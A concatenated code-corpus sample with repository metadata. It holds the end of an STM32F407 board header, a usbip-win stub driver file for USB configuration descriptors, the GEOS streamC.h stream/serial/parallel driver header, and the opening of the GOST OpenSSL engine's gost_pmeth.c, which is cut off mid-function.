* Initialize data line GPIOs for external memory access
*
****************************************************************************/
#ifdef CONFIG_STM32_FSMC
void stm32_extmemdata(int ndata);
#endif
/****************************************************************************
* Name: stm32_enablefsmc
*
* Description:
* enable clocking to the FSMC module
*
****************************************************************************/
#ifdef CONFIG_STM32_FSMC
void stm32_enablefsmc(void);
#endif
/****************************************************************************
* Name: stm32_disablefsmc
*
* Description:
* enable clocking to the FSMC module
*
****************************************************************************/
#ifdef CONFIG_STM32_FSMC
void stm32_disablefsmc(void);
#endif
/****************************************************************************
* Name: stm32_led_pminitialize
*
* Description:
* Enable logic to use the LEDs on the STM32F4Discovery to support power
* management testing
*
****************************************************************************/
#ifdef CONFIG_PM
void stm32_led_pminitialize(void);
#endif
/****************************************************************************
* Name: stm32_pm_buttons
*
* Description:
* Configure the user button of the STM32f4discovery board as EXTI,
* so it is able to wakeup the MCU from the PM_STANDBY mode
*
****************************************************************************/
#if defined(CONFIG_PM) && defined(CONFIG_ARCH_IDLE_CUSTOM) && defined(CONFIG_PM_BUTTONS)
void stm32_pm_buttons(void);
#endif
/****************************************************************************
* Name: stm32_bringup
*
* Description:
* Perform architecture-specific initialization
*
* CONFIG_BOARD_INITIALIZE=y :
* Called from board_initialize().
*
* CONFIG_BOARD_INITIALIZE=n && CONFIG_TASH_ARCHINIT=y :
* Called from the TASH library
*
****************************************************************************/
int stm32_bringup(void);
/****************************************************************************
* Name: stm32_sdio_initialize
*
* Description:
* Initialize SDIO-based MMC/SD card support
*
****************************************************************************/
#if !defined(CONFIG_DISABLE_MOUNTPOINT) && defined(CONFIG_STM32_SDIO)
int stm32_sdio_initialize(void);
#endif
#endif /* __ASSEMBLY__ */
#endif /* __ARCH_ARM_SRC_STM32F407_DISC1_SRC_STM32F407DISC1_H */
|
0a560ea472fab627d6fda6036380282c92d1ca37
|
f9cc38a7c78446b73747580aacae124bb2826a58
|
/cmd/demo/usbip/usbip-win/driver/stub/stub_devconf.c
|
b6d072a8f69411fb4d527ac661ade92f8724c318
|
[
"MIT",
"GPL-3.0-only"
] |
permissive
|
bulwarkid/virtual-fido
|
dae4677d2051961c96d8f284cac7db9a8c5a45d3
|
c0256885902878809ea97dbe488d6937d75b5bc5
|
refs/heads/master
| 2023-08-09T22:09:58.891332
| 2023-07-24T22:08:36
| 2023-07-24T23:10:00
| 537,229,823
| 988
| 46
|
MIT
| 2023-07-17T21:08:29
| 2022-09-15T22:47:15
|
C
|
UTF-8
|
C
| false
| false
| 4,566
|
c
|
stub_devconf.c
|
#include "stub_driver.h"
#include "stub_dev.h"
#include "dbgcommon.h"
#include "stub_dbg.h"
#include "stub_usbd.h"
#include "devconf.h"
#ifdef DBG
#include "strutil.h"
const char *
dbg_info_intf(PUSBD_INTERFACE_INFORMATION info_intf)
{
static char buf[128];
if (info_intf == NULL)
return "<null>";
libdrv_snprintf(buf, 128, "num:%hhu,alt:%hhu", info_intf->InterfaceNumber, info_intf->AlternateSetting);
return buf;
}
const char *
dbg_info_pipe(PUSBD_PIPE_INFORMATION info_pipe)
{
static char buf[128];
if (info_pipe == NULL)
return "<null>";
libdrv_snprintf(buf, 128, "epaddr:%hhx", info_pipe->EndpointAddress);
return buf;
}
#endif
static PUSBD_INTERFACE_INFORMATION
dup_info_intf(PUSBD_INTERFACE_INFORMATION info_intf)
{
PUSBD_INTERFACE_INFORMATION info_intf_copied;
int size_info = INFO_INTF_SIZE(info_intf);
info_intf_copied = ExAllocatePoolWithTag(NonPagedPool, size_info, USBIP_STUB_POOL_TAG);
if (info_intf_copied == NULL) {
DBGE(DBG_GENERAL, "dup_info_intf: out of memory\n");
return NULL;
}
RtlCopyMemory(info_intf_copied, info_intf, size_info);
return info_intf_copied;
}
static BOOLEAN
build_infos_intf(devconf_t *devconf, PUSBD_INTERFACE_LIST_ENTRY pintf_list)
{
unsigned i;
for (i = 0; i < devconf->bNumInterfaces; i++) {
PUSBD_INTERFACE_INFORMATION info_intf_copied = dup_info_intf(pintf_list[i].Interface);
if (info_intf_copied == NULL) {
DBGE(DBG_GENERAL, "build_infos_intf: out of memory\n");
return FALSE;
}
devconf->infos_intf[i] = info_intf_copied;
}
return TRUE;
}
devconf_t *
create_devconf(PUSB_CONFIGURATION_DESCRIPTOR dsc_conf, USBD_CONFIGURATION_HANDLE hconf, PUSBD_INTERFACE_LIST_ENTRY pintf_list)
{
devconf_t *devconf;
int size_devconf;
size_devconf = sizeof(devconf_t) - sizeof(PUSBD_INTERFACE_INFORMATION) + dsc_conf->bNumInterfaces * sizeof(PUSBD_INTERFACE_INFORMATION);
devconf = (devconf_t *)ExAllocatePoolWithTag(NonPagedPool, size_devconf, USBIP_STUB_POOL_TAG);
if (devconf == NULL) {
DBGE(DBG_GENERAL, "create_devconf: out of memory\n");
return NULL;
}
devconf->dsc_conf = ExAllocatePoolWithTag(NonPagedPool, dsc_conf->wTotalLength, USBIP_STUB_POOL_TAG);
if (devconf->dsc_conf == NULL) {
DBGE(DBG_GENERAL, "create_devconf: out of memory\n");
ExFreePoolWithTag(devconf, USBIP_STUB_POOL_TAG);
return NULL;
}
RtlCopyMemory(devconf->dsc_conf, dsc_conf, dsc_conf->wTotalLength);
devconf->bConfigurationValue = dsc_conf->bConfigurationValue;
devconf->bNumInterfaces = dsc_conf->bNumInterfaces;
devconf->hConf = hconf;
RtlZeroMemory(devconf->infos_intf, sizeof(PUSBD_INTERFACE_INFORMATION) * devconf->bNumInterfaces);
if (!build_infos_intf(devconf, pintf_list)) {
free_devconf(devconf);
return NULL;
}
return devconf;
}
void
free_devconf(devconf_t *devconf)
{
unsigned i;
if (devconf == NULL)
return;
for (i = 0; i < devconf->bNumInterfaces; i++) {
if (devconf->infos_intf[i] != NULL)
ExFreePoolWithTag(devconf->infos_intf[i], USBIP_STUB_POOL_TAG);
}
ExFreePoolWithTag(devconf->dsc_conf, USBIP_STUB_POOL_TAG);
ExFreePoolWithTag(devconf, USBIP_STUB_POOL_TAG);
}
void
update_devconf(devconf_t *devconf, PUSBD_INTERFACE_INFORMATION info_intf)
{
PUSBD_INTERFACE_INFORMATION info_intf_exist;
info_intf_exist = devconf->infos_intf[info_intf->InterfaceNumber];
if (info_intf_exist != NULL)
ExFreePoolWithTag(info_intf_exist, USBIP_STUB_POOL_TAG);
devconf->infos_intf[info_intf->InterfaceNumber] = dup_info_intf(info_intf);
}
PUSBD_PIPE_INFORMATION
get_intf_info_pipe(PUSBD_INTERFACE_INFORMATION info_intf, UCHAR epaddr)
{
unsigned i;
for (i = 0; i < info_intf->NumberOfPipes; i++) {
PUSBD_PIPE_INFORMATION info_pipe;
info_pipe = info_intf->Pipes + i;
if (info_pipe->EndpointAddress == epaddr)
return info_pipe;
}
return NULL;
}
USHORT
get_info_intf_size(devconf_t *devconf, UCHAR intf_num, USHORT alt_setting)
{
PUSB_INTERFACE_DESCRIPTOR dsc_intf;
dsc_intf = dsc_find_intf(devconf->dsc_conf, intf_num, alt_setting);
if (dsc_intf == NULL)
return 0;
return sizeof(USBD_INTERFACE_INFORMATION) + (dsc_intf->bNumEndpoints - 1) * sizeof(USBD_PIPE_INFORMATION);
}
PUSBD_PIPE_INFORMATION
get_info_pipe(devconf_t *devconf, UCHAR epaddr)
{
int i;
if (devconf == NULL)
return NULL;
for (i = 0; i < devconf->bNumInterfaces; i++) {
PUSBD_INTERFACE_INFORMATION info_intf;
PUSBD_PIPE_INFORMATION info_pipe;
info_intf = devconf->infos_intf[i];
if (info_intf == NULL)
continue;
info_pipe = get_intf_info_pipe(info_intf, epaddr);
if (info_pipe != NULL)
return info_pipe;
}
return NULL;
}
|
c2940997d3492163e8c4c23255a0498344e58aca
|
e683a0b8dbb87c7ceb99e0d06896174a559d2c67
|
/CInclude/streamC.h
|
26fac349f6825302ca1653b2d903e6f4ec261212
|
[
"Apache-2.0"
] |
permissive
|
bluewaysw/pcgeos
|
f093d79567d977d992f47065056d14d5a04b9f14
|
c6ae4c8e77b54b9ff654c3916f2191f8b1a1b65d
|
refs/heads/master
| 2023-08-31T00:17:54.481175
| 2023-08-29T19:00:49
| 2023-08-29T19:00:49
| 157,968,410
| 603
| 88
|
Apache-2.0
| 2023-09-13T07:44:06
| 2018-11-17T09:09:55
|
Assembly
|
UTF-8
|
C
| false
| false
| 18,768
|
h
|
streamC.h
|
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: GEOS
MODULE: Include
FILE: streamC.h
AUTHOR: John D. Mitchell
REVISION HISTORY:
Name Date Description
---- ---- -----------
JDM 93.07.08 Initial version.
JDM 93.07.25 Mask/offset value switch.
DESCRIPTION:
This file contains all of the interface information for using the
GEOS C Stream Driver library.
$Id: streamC.h,v 1.1 97/04/04 15:57:48 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
#ifndef _STREAMC_H_
#define _STREAMC_H_
#include <serialDr.h> /* serial specific definitions */
#include <parallDr.h> /* parallel specific definitions */
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Stream Types
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
/*
* StreamRoles indicates which side of the connection one is interested in.
*/
typedef enum
{
STREAM_ROLES_WRITER = 0,
STREAM_ROLES_READER = -1,
STREAM_ROLES_BOTH = -2
} StreamRoles;
/*
* StreamBlocker indicates whether the read/write should block or not.
*/
typedef enum
{
STREAM_BLOCK = 2,
STREAM_NO_BLOCK = 0
} StreamBlocker;
typedef enum
{
STREAM_DISCARD = 0,
STREAM_LINGER = -1
} StreamLingerMode;
/*
* StreamError indicates the nature of errors common to all stream drivers.
* This is the error returned from most all Stream*, Serial* & Parallel*
* routines. Note that this will not indicate device-specific errors. Use
* StreamGetError/SerialGetError/ParallelGetErorr for this purpose.
*/
typedef enum
{
STREAM_NOT_IMPLEMENTED = -1,
/* Used only in functions not implemented */
STREAM_NO_ERROR = 0,
/* Returned if no StreamError */
STREAM_WOULD_BLOCK = 1,
/* Operation would block when no blocking is allowed. This
is only returned if no part of the request could be
satisfied. */
STREAM_CLOSING = 2,
/* Cannot write -- stream is being closed */
STREAM_CANNOT_ALLOC = 3,
/* Cannot create -- unable to allocate buffer */
STREAM_BUFFER_TOO_LARGE = 4,
/* Cannot create -- buffer size is too large (32K max) */
STREAM_CLOSED = 5,
/* Cannot access -- stream is not open */
STREAM_SHORT_READ_WRITE = 6,
/* Read or write with STREAM_BLOCK and stream closed before
operation could complete. */
STREAM_NO_DEVICE = 7,
/* Attempting to open a device-based stream (e.g. parallel
or serial port) when the device requested doesn't exist. */
STREAM_DEVICE_IN_USE = 8,
/* SOF_NOBLOCK or SOF_TIMEOUT given and device is in-use. */
STREAM_POWER_ERROR = 9
/* Tried to open the requested port, but couldn't due to
some error in the power driver */
} StreamError;
#define STREAM_FIRST_DEV_ERROR 256 /* Start of range stream-based drivers
can use for their StreamErrors */
/*
* StreamToken identifies a stream.
*/
typedef Handle StreamToken;
/*
* StreamOpenFlags indicate the manner in which the stream should be
* opened.
*/
typedef enum
{
STREAM_OPEN_NO_BLOCK = 0x02,
STREAM_OPEN_TIMEOUT = 0x01
} StreamOpenFlags;
/*
* StreamNotifyMode indicates the way of notification.
*/
typedef enum
{
STREAM_MODE_NONE,
STREAM_MODE_ROUTINE,
STREAM_MODE_MESSAGE /* This is *not* supported in C. */
} StreamNotifyMode;
/*
* StreamNotifyEvent specifies which notifications we're interested in.
*/
typedef enum
{
STREAM_EVENT_ERROR,
STREAM_EVENT_DATA,
SERIAL_EVENT_MODEM
} StreamNotifyEvent;
/*
* StreamNotifyType is how we tell the driver all about what notifications
* we're interested in.
*/
typedef ByteFlags StreamNotifyType;
#define STREAM_TYPE_READER_OFFSET (5)
#define STREAM_TYPE_READER (0x01 << STREAM_TYPE_READER_OFFSET)
#define STREAM_TYPE_EVENT_OFFSET (2)
#define STREAM_TYPE_EVENT (0x07 << STREAM_TYPE_EVENT_OFFSET)
#define STREAM_TYPE_HOW_OFFSET (0)
#define STREAM_TYPE_HOW (0x01 << STREAM_TYPE_HOW_OFFSET)
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Driver Types
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
/*
* DriverPassParams is used to pass arguments into DriverCallEntryPoint.
*/
typedef struct
{
word ax;
word bx;
word cx;
word dx;
word si;
word bp;
word ds;
word es;
} DriverPassParams;
/*
* DriverPassParams is used to return results from DriverCallEntryPoint.
*/
typedef struct
{
word ax;
word bx;
word cx;
word dx;
word si;
word di;
word bp;
word ds;
word es;
CPUFlags flags;
} DriverReturnParams;
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Prototypes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
/*
* Generic Driver routines.
*/
extern void
_pascal DriverCallEntryPoint (Handle driver,
word func,
DriverPassParams *passParams,
DriverReturnParams *returnParams);
/*
* Stream Driver routines.
*
* NOTE: StreamError == 0 indicates that no StreamError has occurred.
*
*/
extern StreamError
_pascal StreamGetDeviceMap (Handle driver, word *retInfo);
extern StreamError
_pascal StreamOpen (Handle driver,
word buffSize,
GeodeHandle owner,
HeapFlags heapFlags,
StreamToken *stream);
extern StreamError
_pascal StreamClose (Handle driver,
StreamToken stream,
StreamLingerMode linger);
extern StreamError /* NOT implemented. */
_pascal StreamSetNotify (Handle driver,
StreamToken stream,
word *status);
extern StreamError
_pascal StreamSetMessageNotify (Handle driver,
StreamToken stream,
StreamNotifyType type,
Message msg,
optr destination);
/* Message should be defined as follows:
STREAM_EVENT_DATA:
@message void NAME(word numAvail = cx, StreamToken stream = dx,
StreamRoles side = bp);
STREAM_EVENT_ERROR:
@message void NAME(ErrorType error = cx, StreamToken stream = dx);
SERIAL_EVENT_MODEM:
@message void NAME(SerialModemStatus status = cx,
StreamToken stream = dx);
Note that "stream" will *not* be the unit number for the parallel
or serial drivers.
*/
/*
* Prototype for the notification routine to be passed to StreamSetRoutineNotify
* for the SNE_ERROR, SNE_MODEM, SNE_PASSIVE events, and the SNE_DATA event
* when the notification threshold is any value other than 1. For all events,
* the "data" parameter is the same as the "data" parameter passed to
* StreamSetRoutineNotify. The cxValue and bpValue parameters are as follows:
*
* SNE_DATA: cxValue = # bytes available for reading or writing
* bpValue = STREAM_READ or STREAM_WRITE
* SNE_ERROR: cxValue = the error word (driver-specific)
* bpValue = undefined
* SNE_PASSIVE: cxValue = SerialPassiveNotificationStatus
* bpValue = the port number
* SNE_MODEM: cxValue = SerialModemStatus
* bpValue = undefined
*/
typedef void _pascal StreamGeneralNotifyRoutine(word data,
word cxValue,
word bpValue);
/*
* Prototype for the notification routine to be passed to StreamSetRoutineNotify
* for the SNE_DATA event when the notification threshold is 1. In this case,
* the routine acts as an extension of the interrupt code, allowing it to see
* each byte as it's received, or to fill each byte in the stream as space
* becomes available.
*
* For the reading side:
* cxValue = the byte just read
* bpValue = STREAM_READ
* return = non-zero if the byte was consumed, 0 if the byte should
* be placed into the input stream
* For the writing side:
* cxValue = undefined
* bpValue = STREAM_WRITE
* return = formed using the STREAM_SPECIAL_WRITE_VALUE indicating
* whether a byte to be written is being returned.
*/
typedef word _pascal StreamSpecialDataNotifyRoutine(word data,
word cxValue,
word bpValue);
#define STREAM_SPECIAL_WRITE_VALUE(addByte, value) \
((((addByte)&0xff)<<8) | ((value) & 0xff))
extern StreamError
_pascal StreamSetRoutineNotify (Handle driver,
StreamToken stream,
StreamNotifyType type,
word data,
StreamGeneralNotifyRoutine *callback);
extern StreamError
_pascal StreamSetDataRoutineNotify (Handle driver,
StreamToken stream,
StreamNotifyType type,
word data,
StreamGeneralNotifyRoutine *callback,
word threshold);
extern StreamError
_pascal StreamSetNoNotify (Handle driver,
StreamToken stream,
StreamNotifyType type);
extern StreamError
_pascal StreamGetError (Handle driver,
StreamToken stream,
StreamRoles roles,
word *errorCode);
/* NOTE: errorCode is a device-specific code, such as SerialError
or ParallelError */
extern StreamError
_pascal StreamSetError (Handle driver,
StreamToken stream,
StreamRoles roles,
word errorCode);
/* NOTE: errorCode is a device-specific code, such as SerialError
or ParallelError */
extern StreamError
_pascal StreamFlush (Handle driver,
StreamToken stream);
extern StreamError
_pascal StreamSetThreshold (Handle driver,
StreamToken stream,
StreamRoles roles,
word threshold);
extern StreamError
_pascal StreamRead (Handle driver,
StreamToken stream,
StreamBlocker blocker,
word buffSize,
byte *buffer,
word *numBytesRead);
extern StreamError
_pascal StreamReadByte (Handle driver,
StreamToken stream,
StreamBlocker blocker,
byte *dataByte);
extern StreamError
_pascal StreamWrite (Handle driver,
StreamToken stream,
StreamBlocker blocker,
word buffSize,
byte *buffer,
word *numBytesWritten);
extern StreamError
_pascal StreamWriteByte (Handle driver,
StreamToken stream,
StreamBlocker blocker,
byte dataByte);
extern StreamError
_pascal StreamQuery (Handle driver,
StreamToken stream,
StreamRoles role,
word *bytesAvailable);
extern StreamError
_pascal StreamEscLoadOptions (Handle driver,
const char *category);
/*
* Serial Driver routines.
*
* NOTE: StreamError == 0 indicates that no StreamError has occurred.
*/
extern Handle
_pascal SerialLoadDriver(void);
#define SerialGetDeviceMap(driver, retInfo) \
StreamGetDeviceMap((driver), (retInfo))
extern StreamError
_pascal SerialOpen (Handle driver,
SerialUnit unit,
StreamOpenFlags flags,
word inBuffSize,
word outBuffSize,
word timeout);
extern StreamError
_pascal SerialClose (Handle driver,
SerialUnit unit,
StreamLingerMode linger);
extern StreamError
_pascal SerialSetNotify (Handle driver,
StreamToken stream,
SerialModemStatus *status);
#define SerialGetError(driver, unit, roles, errorCode) \
StreamGetError((driver), (unit), (roles), (errorCode))
#define SerialSetError(driver, unit, roles, errorCode) \
StreamSetError((driver), (unit), (roles), (errorCode))
extern StreamError
_pascal SerialFlush (Handle driver,
SerialUnit unit,
StreamRoles roles);
#define SerialSetThreshold(driver, unit, roles, threshold) \
StreamSetThreshold((driver), (unit), (roles), (threshold))
#define SerialRead(driver, unit, blocker, buffSize, buffer, numBytesRead) \
StreamRead((driver), (unit), (blocker), (buffSize), (buffer), \
(numBytesRead))
#define SerialReadByte(driver, unit, blocker, dataByte) \
StreamReadByte((driver), (unit), (blocker), (dataByte))
#define SerialWrite(driver, unit, blocker, buffSize, buffer, numWritten) \
StreamWrite((driver), (unit), (blocker), (buffSize), (buffer), \
(numWritten))
#define SerialWriteByte(driver, unit, blocker, dataByte) \
StreamWriteByte((driver), (unit), (blocker), (dataByte))
#define SerialQuery(driver, unit, role, bytesAvailable) \
StreamQuery((driver), (unit), (role), (bytesAvailable))
#define SerialEscLoadOptions(driver, category) \
StreamEscLoadOptions((driver), (category))
extern StreamError
_pascal SerialSetFormat (Handle driver,
SerialUnit unit,
SerialFormat format,
SerialMode mode,
SerialBaud baud);
extern StreamError
_pascal SerialGetFormat (Handle driver,
SerialUnit unit,
SerialFormat *format,
SerialMode *mode,
SerialBaud *baud);
extern StreamError
_pascal SerialSetModem (Handle driver,
SerialUnit unit,
SerialModem modem);
extern StreamError
_pascal SerialGetModem (Handle driver,
SerialUnit unit,
SerialModem *modem);
extern StreamError
_pascal SerialOpenForDriver (Handle driver,
SerialUnit unit,
StreamOpenFlags flags,
word inBuffSize,
word outBuffSize,
word timeout,
GeodeHandle owner);
extern StreamError
_pascal SerialSetFlowControl (Handle driver,
SerialUnit unit,
SerialFlowControl flow,
SerialModem modem,
SerialModemStatus status);
extern StreamError
_pascal SerialDefinePort (Handle driver,
word basePort,
byte interruptLevel,
SerialUnit *unit);
extern StreamError
_pascal SerialStatPort (Handle driver,
SerialUnit unit,
word *interruptLevel,
Boolean *portOpen);
extern StreamError
_pascal SerialCloseWithoutReset (Handle driver,
SerialUnit unit,
StreamLingerMode linger);
extern StreamError
_pascal SerialSetRole (Handle driver,
SerialUnit unit,
SerialRole role);
/*
* Parallel Driver routines.
*
* NOTE: StreamError == 0 indicates that no StreamError has occurred.
*
*/
extern Handle
_pascal ParallelLoadDriver(void);
#define ParallelGetDeviceMap(driver, retInfo) \
StreamGetDeviceMap((driver), (retInfo))
extern StreamError
_pascal ParallelOpen (Handle driver,
ParallelUnit unit,
StreamOpenFlags flags,
word outBuffSize,
word timeout);
#define ParallelClose(driver, unit, linger) \
StreamClose((driver), (unit), (linger))
#define ParallelGetError(driver, unit, roles, errorCode) \
StreamGetError((driver), (unit), (roles), (errorCode))
extern StreamError
_pascal ParallelSetError (Handle driver,
ParallelUnit unit,
StreamRoles roles,
ParallelError errorCode);
#define ParallelFlush(driver, unit, roles) SerialFlush((driver),(unit),(roles))
#define ParallelSetThreshold(driver, unit, roles, threshold) \
StreamSetThreshold((driver), (unit), (roles), (threshold))
#define ParallelWrite(driver, unit, blocker, buffSize, buffer, numWritten) \
StreamWrite((driver), (unit), (blocker), (buffSize), (buffer), \
(numWritten))
#define ParallelWriteByte(driver, unit, blocker, dataByte) \
StreamWriteByte((driver), (unit), (blocker), (dataByte))
extern StreamError
_pascal ParallelQuery (Handle driver,
ParallelUnit unit,
Boolean *printerBusy);
#define ParallelEscLoadOptions(driver, category) \
StreamEscLoadOptions((driver), (category))
extern StreamError
_pascal ParallelMaskError (Handle driver,
ParallelUnit unit,
ParallelError errorMask);
extern StreamError
_pascal ParallelTimeout (Handle driver,
ParallelUnit unit,
word waitSeconds);
extern StreamError
_pascal ParallelRestart (Handle driver,
ParallelUnit unit,
Boolean resendPending);
extern StreamError
_pascal ParallelVerify (Handle driver,
ParallelUnit unit,
ParallelError *error);
extern StreamError
_pascal ParallelSetInterrupt (Handle driver,
ParallelUnit unit,
ParallelInterrupt pInt);
extern StreamError
_pascal ParallelStatPort (Handle driver,
ParallelUnit unit,
byte *interruptLevel,
byte *portOpen);
#ifdef __HIGHC__
pragma Alias (DriverCallEntryPoint, "DRIVERCALLENTRYPOINT");
pragma Alias (StreamGetDeviceMap, "STREAMGETDEVICEMAP");
pragma Alias (StreamOpen, "STREAMOPEN");
pragma Alias (StreamClose, "STREAMCLOSE");
pragma Alias (StreamSetMessageNotify, "STREAMSETMESSAGENOTIFY");
pragma Alias (StreamSetRoutineNotify, "STREAMSETROUTINENOTIFY");
pragma Alias (StreamSetDataRoutineNotify, "STREAMSETDATAROUTINENOTIFY");
pragma Alias (StreamSetNoNotify, "STREAMSETNONOTIFY");
pragma Alias (StreamSetNotify, "STREAMSETNOTIFY");
pragma Alias (StreamGetError, "STREAMGETERROR");
pragma Alias (StreamSetError, "STREAMSETERROR");
pragma Alias (StreamFlush, "STREAMFLUSH");
pragma Alias (StreamSetThreshold, "STREAMSETTHRESHOLD");
pragma Alias (StreamRead, "STREAMREAD");
pragma Alias (StreamReadByte, "STREAMREADBYTE");
pragma Alias (StreamWrite, "STREAMWRITE");
pragma Alias (StreamWriteByte, "STREAMWRITEBYTE");
pragma Alias (StreamQuery, "STREAMQUERY");
pragma Alias (StreamEscLoadOptions, "STREAMESCLOADOPTIONS");
pragma Alias (SerialLoadDriver, "SERIALLOADDRIVER");
pragma Alias (SerialOpen, "SERIALOPEN");
pragma Alias (SerialClose, "SERIALCLOSE");
pragma Alias (SerialSetNotify, "SERIALSETNOTIFY");
pragma Alias (SerialFlush, "SERIALFLUSH");
pragma Alias (SerialSetFormat, "SERIALSETFORMAT");
pragma Alias (SerialGetFormat, "SERIALGETFORMAT");
pragma Alias (SerialSetModem, "SERIALSETMODEM");
pragma Alias (SerialGetModem, "SERIALGETMODEM");
pragma Alias (SerialOpenForDriver, "SERIALOPENFORDRIVER");
pragma Alias (SerialSetFlowControl, "SERIALSETFLOWCONTROL");
pragma Alias (SerialDefinePort, "SERIALDEFINEPORT");
pragma Alias (SerialStatPort, "SERIALSTATPORT");
pragma Alias (SerialCloseWithoutReset, "SERIALCLOSEWITHOUTRESET");
pragma Alias (SerialSetRole, "SERIALSETROLE");
pragma Alias (ParallelLoadDriver, "PARALLELLOADDRIVER");
pragma Alias (ParallelOpen, "PARALLELOPEN");
pragma Alias (ParallelQuery, "PARALLELQUERY");
pragma Alias (ParallelMaskError, "PARALLELMASKERROR");
pragma Alias (ParallelTimeout, "PARALLELTIMEOUT");
pragma Alias (ParallelRestart, "PARALLELRESTART");
pragma Alias (ParallelVerify, "PARALLELVERIFY");
pragma Alias (ParallelSetInterrupt, "PARALLELSETINTERRUPT");
pragma Alias (ParallelStatPort, "PARALLELSTATPORT");
#endif /* __HIGHC__ */
#endif /* _STREAMC_H_ */
|
4514d05aaad3f284f52d3ac54aac1c18a4c04eea
|
de6cbe04a0e00fbe83ea20a7cab8f85ad36831fe
|
/gost_pmeth.c
|
44bfc75ff9af52c5d6649abf22f15b165fec0ddd
|
[
"Apache-2.0"
] |
permissive
|
gost-engine/engine
|
0d152b12ad8dfd63a3981cd2ccd3e84e354263f4
|
2a8a5e0ecaa3e3d6f4ec722a49aa72476755c2b7
|
refs/heads/master
| 2023-09-05T17:46:34.716570
| 2023-07-28T09:51:36
| 2023-07-28T09:51:36
| 40,672,482
| 336
| 220
|
Apache-2.0
| 2023-06-14T14:55:01
| 2015-08-13T17:30:16
|
C
|
UTF-8
|
C
| false
| false
| 37,271
|
c
|
gost_pmeth.c
|
/**********************************************************************
* gost_pmeth.c *
* Copyright (c) 2005-2013 Cryptocom LTD *
* This file is distributed under the same license as OpenSSL *
* *
* Implementation of RFC 4357 (GOST R 34.10) Publick key method *
* for OpenSSL *
* Requires OpenSSL 1.0.0+ for compilation *
**********************************************************************/
#include <openssl/evp.h>
#include <openssl/objects.h>
#include <openssl/ec.h>
#include <openssl/err.h>
#include <openssl/x509v3.h> /* For string_to_hex */
#include <openssl/opensslv.h> /* For OPENSSL_VERSION_MAJOR */
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include "gost_lcl.h"
#include "e_gost_err.h"
#define ossl3_const
#ifdef OPENSSL_VERSION_MAJOR
#undef ossl3_const
#define ossl3_const const
#endif
/* -----init, cleanup, copy - uniform for all algs --------------*/
/* Allocates new gost_pmeth_data structure and assigns it as data */
static int pkey_gost_init(EVP_PKEY_CTX *ctx)
{
struct gost_pmeth_data *data;
EVP_PKEY *pkey = EVP_PKEY_CTX_get0_pkey(ctx);
data = OPENSSL_malloc(sizeof(*data));
if (!data)
return 0;
memset(data, 0, sizeof(*data));
if (pkey && EVP_PKEY_get0(pkey)) {
switch (EVP_PKEY_base_id(pkey)) {
case NID_id_GostR3410_2001:
case NID_id_GostR3410_2001DH:
case NID_id_GostR3410_2012_256:
case NID_id_GostR3410_2012_512:
{
const EC_GROUP *group =
EC_KEY_get0_group(EVP_PKEY_get0((EVP_PKEY *)pkey));
if (group != NULL) {
data->sign_param_nid = EC_GROUP_get_curve_name(group);
break;
}
/* else */
}
default:
OPENSSL_free(data);
return 0;
}
}
EVP_PKEY_CTX_set_data(ctx, data);
return 1;
}
/* Copies contents of gost_pmeth_data structure */
static int pkey_gost_copy(EVP_PKEY_CTX *dst, ossl3_const EVP_PKEY_CTX *src)
{
struct gost_pmeth_data *dst_data, *src_data;
if (!pkey_gost_init(dst)) {
return 0;
}
src_data = EVP_PKEY_CTX_get_data(src);
dst_data = EVP_PKEY_CTX_get_data(dst);
if (!src_data || !dst_data)
return 0;
*dst_data = *src_data;
return 1;
}
/* Frees up gost_pmeth_data structure */
static void pkey_gost_cleanup(EVP_PKEY_CTX *ctx)
{
struct gost_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
if (!data)
return;
OPENSSL_free(data);
}
/* --------------------- control functions ------------------------------*/
static int pkey_gost_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2)
{
struct gost_pmeth_data *pctx =
(struct gost_pmeth_data *)EVP_PKEY_CTX_get_data(ctx);
if (pctx == NULL)
return 0;
switch (type) {
case EVP_PKEY_CTRL_MD:
{
EVP_PKEY *key = EVP_PKEY_CTX_get0_pkey(ctx);
int pkey_nid = (key == NULL) ? NID_undef : EVP_PKEY_base_id(key);
OPENSSL_assert(p2 != NULL);
switch (EVP_MD_type((const EVP_MD *)p2)) {
case NID_id_GostR3411_94:
if (pkey_nid == NID_id_GostR3410_2001
|| pkey_nid == NID_id_GostR3410_2001DH
|| pkey_nid == NID_id_GostR3410_94) {
pctx->md = (EVP_MD *)p2;
return 1;
}
break;
case NID_id_GostR3411_2012_256:
if (pkey_nid == NID_id_GostR3410_2012_256) {
pctx->md = (EVP_MD *)p2;
return 1;
}
break;
case NID_id_GostR3411_2012_512:
if (pkey_nid == NID_id_GostR3410_2012_512) {
pctx->md = (EVP_MD *)p2;
return 1;
}
break;
}
GOSTerr(GOST_F_PKEY_GOST_CTRL, GOST_R_INVALID_DIGEST_TYPE);
return 0;
}
case EVP_PKEY_CTRL_GET_MD:
*(const EVP_MD **)p2 = pctx->md;
return 1;
case EVP_PKEY_CTRL_PKCS7_ENCRYPT:
case EVP_PKEY_CTRL_PKCS7_DECRYPT:
case EVP_PKEY_CTRL_PKCS7_SIGN:
case EVP_PKEY_CTRL_DIGESTINIT:
#ifndef OPENSSL_NO_CMS
case EVP_PKEY_CTRL_CMS_ENCRYPT:
case EVP_PKEY_CTRL_CMS_DECRYPT:
case EVP_PKEY_CTRL_CMS_SIGN:
#endif
return 1;
